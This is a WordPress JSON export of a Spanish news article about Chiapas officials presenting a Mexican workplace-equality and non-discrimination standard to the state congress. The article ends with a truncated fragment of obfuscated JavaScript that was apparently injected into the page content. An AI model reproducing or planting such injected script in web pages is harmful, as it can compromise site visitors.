{"id":4121,"date":"2022-08-04T03:55:52","date_gmt":"2022-08-04T03:55:52","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=4121"},"modified":"2022-08-04T03:55:53","modified_gmt":"2022-08-04T03:55:53","slug":"presentan-norma-mexicana-en-materia-de-igualdad-laboral-y-no-discriminacion","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=4121","title":{"rendered":"Presentan Norma Mexicana en materia de Igualdad Laboral y No discriminaci\u00f3n"},"content":{"rendered":"\n
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Tuxtla Guti\u00e9rrez, 3 de agosto de 2022.- Mar\u00eda Mandiola Totoricag\u00fce\u00f1a secretaria de Igualdad de G\u00e9nero, present\u00f3 la Norma Mexicana NMX-R-025-SCFI-2015 en Igualdad Laboral y No Discriminaci\u00f3n, ante la Comisi\u00f3n de Igualdad de G\u00e9nero del Congreso del estado de Chiapas, que preside la diputada Elizabeth Escobedo Morales.La titular de la dependencia de gobierno, Mar\u00eda Mandiola Totoricag\u00fcena, expuso ante los presentes que este es un mecanismo de adopci\u00f3n voluntaria para reconocer a los centros de trabajo que cuentan con pr\u00e1cticas en materia de igualdad laboral y no discriminaci\u00f3n, para favorecer el desarrollo integral de las y los trabajadores.Esta certificaci\u00f3n -dijo- est\u00e1 dirigida a todos los centros de trabajo p\u00fablicos, privados y sociales establecidos. Para obtenerlo, los centros de trabajo deber\u00e1n recibir una auditor\u00eda de tercera parte, para verificar que sus pol\u00edticas y pr\u00e1cticas cumplen con los requisitos de igualdad laboral y no discriminaci\u00f3n.Sus principales ejes son el incorporar la perspectiva de g\u00e9nero y no discriminaci\u00f3n en los procesos de reclutamiento, selecci\u00f3n, movilidad y capacitaci\u00f3n; garantizar la igualdad salarial; implementar acciones para prevenir y atender la violencia laboral; y realizar acciones de corresponsabilidad entre la vida laboral, familiar y personal de sus trabajadoras y trabajadores, con igualdad de trato y de oportunidades.El presidente de la Junta de Coordinaci\u00f3n Pol\u00edtica (JUCOPO), Yamil Melgar Bravo, expuso que esta legislatura es hist\u00f3rica porque cuenta con 25 mujeres diputadas, lo que le da mayor importancia de reconocer el trabajo de cada una de ellas, adem\u00e1s de los cargos de direcci\u00f3n y de trabajadoras.La legisladora Escobedo Morales mencion\u00f3 que en la actualidad sigue creciendo el reconocimiento de la necesidad de incorporar principios de igualdad entre mujeres y hombres en los centros de trabajo con el prop\u00f3sito de eliminar prejuicios y estereotipos discriminatorios.La diputada Sonia Catalina \u00c1lvarez, indic\u00f3 que el obtener la certificaci\u00f3n que se menciona, hablar\u00e1 bien de este poder, los beneficios son de suma relevancia, pero recalc\u00f3 que es este es un derecho de todas las mujeres, que no es un n\u00famero sino lo que realmente representa la paridad.Asistieron las diputadas Paola Villamonte P\u00e9rez, Lina Nango Molina, as\u00ed tambi\u00e9n el Secretario de Servicios Administrativos, Francisco Chac\u00f3n S\u00e1nchez; Jefe de Recursos Humanos, Marcial Reyes Agust\u00edn, Jefe de Recursos Materiales y Servicios Generales, Jos\u00e9 Alfredo Jim\u00e9nez Reyes; Director de Comunicaci\u00f3n Social, Arturo Tom\u00e1s Torres Guzm\u00e1n; Jefa de la Unidad de Planeaci\u00f3n y Presupuesto, Martha Elena Mendoza Rodr\u00edguez; Contralora Interna, Guadalupe Morales Mar\u00edn; Jefe de la Unidad de inform\u00e1tica, Efra\u00edn Soberano Pola.<\/div><\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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